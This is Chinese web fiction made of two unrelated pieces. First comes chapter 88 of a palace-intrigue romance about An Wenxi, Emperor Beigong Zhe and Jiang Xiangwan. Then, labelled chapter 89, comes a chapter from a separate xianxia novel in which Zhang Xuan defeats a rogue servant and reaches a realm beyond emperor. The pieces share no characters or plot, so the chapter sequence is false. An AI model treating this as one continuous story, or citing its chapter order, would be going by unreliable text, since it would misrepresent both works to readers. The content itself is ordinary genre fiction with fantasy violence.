别再拒绝我好么? 第八十八章 别再拒绝我好么? 在安文夕葱白指尖穿梭在七弦琴上,琴声委婉而连绵,四琴声绕过丛林,犹如清泉在石上静流,缓缓而幽逸。 楚君昱微闭了眼睛,右手指尖摩挲着青瓷杯沿,室内烧着暖暖的炭火,烛火不时发出噼里啪啦之声。 这一刻,时间仿佛静止一般。 以至于多年后再忆起这幕,都觉得十分的温暖。 一曲终了,楚君昱也适时的睁开了眼睛,赞道:“世人常言能得凤公子一曲,千金不换,此言果然不假。” “玉公子谬赞了。” 接下来几日,玉公子每到入幕都回来凤青轩,煮一壶茶,再听她弹奏一曲。两个人似乎又回到了初识在凤青轩的日子。 安文夕觉得和楚君昱在一起总是有一种轻松的感觉。 自从那日曹暮烟从潇湘馆出去,她去怜馆寻芳问柳的消息便不胫而走,各种各样的流言四处迭起,不久又有人还传言曹太后和身边的近侍yin乱后宫,众人不禁嘘唏不已,然而面对这些不堪的流言蜚语,当事人曹太后丝毫不为所动,依旧我行我素,每天都要从外面招来小倌,夜夜笙歌。 沧月从信鸽上取下纸条递给曹暮烟道:“烟儿,六王爷来信了。” 曹暮烟捧着手炉,接过纸条看后,脸色大变,将手中的手炉狠狠地摔到地上怒道:“他算是个什么东西,竟然威胁起来哀家了!” 如今她是皇太后,他和北宫喆皆是她手中的一枚棋子罢了。在这件事上,就是北宫喆也没有说什么,偏生这个不知好歹的六王爷几番对她指手画脚,还拿他们之间的合作关系来威胁她,真是不自量力! “烟儿,太医都已经说了你不宜生气,这火气怎么又上来了?”沧月柔声哄道。 “你叫阿袭过来。”曹暮烟将手中的纸条狠狠碾碎。 “烟儿,如今正在风口浪尖上……” “怎么,现在连你也要忤逆我么!” “烟儿……” “还不快去!” 沧月无声地叹了口气,只要她开心就好,其他的事情都由他来做。 近来,朝堂之上许多言官纷纷上谏,联名上奏弹劾起来曹太后。而北宫喆在这件事却采取了睁一只眼闭一只眼的态度,任其发展。 北宫喆看着桌案上逐渐要堆成山的奏折,眸光如潭幽深,这曹太后真是不知死活,若是继续这样下去,到时候谁废黜谁还不一定呢! 江向晚端着一碗热气腾腾的燕窝羹来到琼华殿书房,对北宫喆浅笑道:“喆,吃点宵夜吧。” 北宫喆没有抬头直接道:“你先放着吧。” 江向晚径自绕道北宫喆身后,“喆,我帮你捏捏肩吧。” 北宫喆闻言手中的朱笔一顿,“不必了,天色不早了,你先回去睡吧。” “喆,你这是……在赶我走?”江向晚眼底掠过一抹受伤。 “晚儿,你身上有伤,朕不是说了让你好好养着身子么,你这段时间就不要来琼华殿了。” 江向晚从背后一把抱住北宫喆,声音中带了丝柔意,“喆,你不要赶我走,今晚就让我留下好不好?” 最后一句几近乞求。 北宫喆不动声色的扯开江向晚的手道:“晚儿,你知道的,这琼华殿从来不留女人。” 不留女人? 江向晚嘴角勾起凄凉的笑意,“那安文夕呢?” 北宫喆手中的朱笔应声而断,双眸里渐渐带着些冷意,刚想转身,却再次被江向晚抱住道:“喆,别再拒绝我好么?” “晚儿!”北宫喆的声音陡然冷了几分,“即日起,朕特许你回府养伤。” 江向晚身子蓦地一僵,他真的要……赶她走? “喆,你我青梅竹马,我从小就希望能够嫁给你,现在你纳了一个又一个女人,可独独不肯娶我,这是为什么?”江向晚只觉得眼睛酸的厉害。 “晚儿,你和她们不一样。” “是,我和她们不一样,我以前也是这样认为,她们不过是你为了平衡前朝势力才纳进宫的,我才是你要娶的那一个,可是我不容易复活了,你却偏偏让我做了女官,这样尴尬的身份……” “你当真想成为朕的妃子?” “我……”她想成为他的后,唯一的后,而不是那所谓的妃子。 “既然你想,那朕就成全你,让你成为她们之间的一员。”北宫喆语气变得淡漠。 “喆,我不要成为她们中的一员,我要的是你能够疼我爱我……”江向晚脸上划过温热的液体,她抓着北宫喆的衣袖道,“难道你从来就没有喜欢过我么?” 她不相信,她陪了他整整十五年,他不可能对她没有一点点的喜欢。 北宫喆扯过握在江向晚手里的衣角,看着她悲怆的神色,慢慢转过身去,他一直都拿她当做亲人,当做妹妹,可从未对她有过别的想法,喜欢她的一直都是惊魂。 他的转身已经代表了默认,看着那道挺拔的明黄背影,她觉得这个男人离她越来越远,她再也抓不到他了。 “你为什么就不能喜欢我,为什么?” 她的十五年却比不上那个人的三年,她好不甘心呐! 北宫喆眸光一敛,高声道:“青玄送江小姐回江府。” 江向晚垂下了眼睑,淡淡道:“好,我回家好好养伤。” 她尽量让自己看起来没有那么狼狈,既然不能再留到宫里,那她想留下最后的尊严。 安文夕将曹暮烟的声名搅得一团乌烟瘴气之后,便踏上了前往枫月谷的路途。 枫月谷位于大安和北襄的边界处,安文夕和欢凉一路北行,天气也越来越冷,幸好马车里足够温暖,这一路行来,也不算是太艰难。 为了行路方便,也为了避人耳目,安文夕和欢凉皆是男装。 她走得匆忙,没有来得及跟楚君昱道别,估计今晚他到凤青轩就会发现她不见了,亦如那日的胭脂,都是不告而别。 “二位公子,邹城到了。”赶车的小哥对车内说道。 “公子,我们下车吃点东西吧。”欢凉长长的吐了一口气,整天呆在马车上,身子骨都迟钝了。 安文夕点点头,掀开车帘对赶车小哥道:“麻烦小哥带我们去一家简单的酒楼便好。” “好咧。” 现在正是午时时分,酒楼里面的雅间皆座无虚席,安文夕只得在大厅内落座。 大厅内龙鱼混杂,有些身材剽悍的男人大口吃肉、大口喝酒,嘴里大声的嚷嚷着,安文夕微不可见的皱了皱眉。 旁边的桌子上的男人有了几分醉意,时不时朝安文夕和欢凉落座的座子上投来几眼,嘴里还调笑着。 “那位公子生得好生俊朗,你看那脸皮白的跟个娘们似的。” “哈哈哈。怎么大哥看上了?” “那兄弟我让他来伺候大哥喝酒。” “罢了罢了,咱们少惹事,喝酒喝酒。” “公主,大厅就是这样,这也没有办法,我们赶紧吃完,早些上路。”欢凉用眼角斜了眼旁边桌子上的人。 欢凉话音刚落,就有一位醉醺醺的男人一把握住安文夕执着筷子的手道:“这位公子,我们大哥请你一同喝酒吃肉,可否赏个脸。”他说着就要强行将安文夕拖走。 安文夕刚想发作,只见有一位指节分明的手一把拉住刚才那位醉醺醺的男人,扔到一旁。 “这位公子,你没事吧?” “我没事。”安文夕抬头蓦地一滞,这个人不正是北襄的六王爷么,半年前被北宫喆所杀,竟然没有死! “哪来的小兔崽子,竟敢坏爷爷的好事!”刚才那个男人愤怒着抡拳砸向六王爷。 六王爷二指钳住那人的手腕,以四两拨千斤之势轻松地将那人掀翻。 那人本来已经醉的差不多了,此时渐渐恢复了意识,一身横肉躺在地上,大口大口的喘着粗气,脸上的肉微微颤动,恼羞成怒的他刚想起来和六王爷拼个你死我活,不料却被同伴叫道:“老四,还不赶紧过来,丢人现眼!” “可是,大哥……” “过来!”为首的人端着酒杯对六王爷道,“这位公子,真是不好意思,舍弟给你添麻烦了。” 六王爷也不在意,接过酒来一饮而尽,随即将视线放在安文夕身上。 安文夕不动声色的扫了眼几人,心中略略明了,这六王爷向来不是个善茬,此时如此花费一番功夫在她身上,必定有事! 随即她双眸清澈,一脸波澜不惊,对六王爷含笑道:“多谢公子出手。” “无妨,你看这厅内客人已满,这位公子不介意我们拼桌吧。” 安文夕嘴唇微勾,真是个老狐狸! “不介意。”安文夕微微笑了笑,反正她们马上就要启程了。 六王爷刚落座不久,欢凉放下筷子道:“公子,我去结账,你先去外面等我。” 六王爷闻言抬头道:“你们的账我已经结了。” 安文夕嘴角一抽,无事献殷勤,非奸即盗! 欢凉从怀中拿出一锭银子放在桌子上道:“不敢麻烦公子,这是饭钱。” 安文夕刚刚起身,跟在六王爷身旁的女子伸手拦住了她们的去路。 安文夕皱眉道:“这位公子,你这是何意?” 六王爷看也未看那锭银子,浅笑道:“今日能和二位公子同桌而食,便是有缘,若是二位公子愿意,不如到寒舍坐一坐。” 第89章 真实身份 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 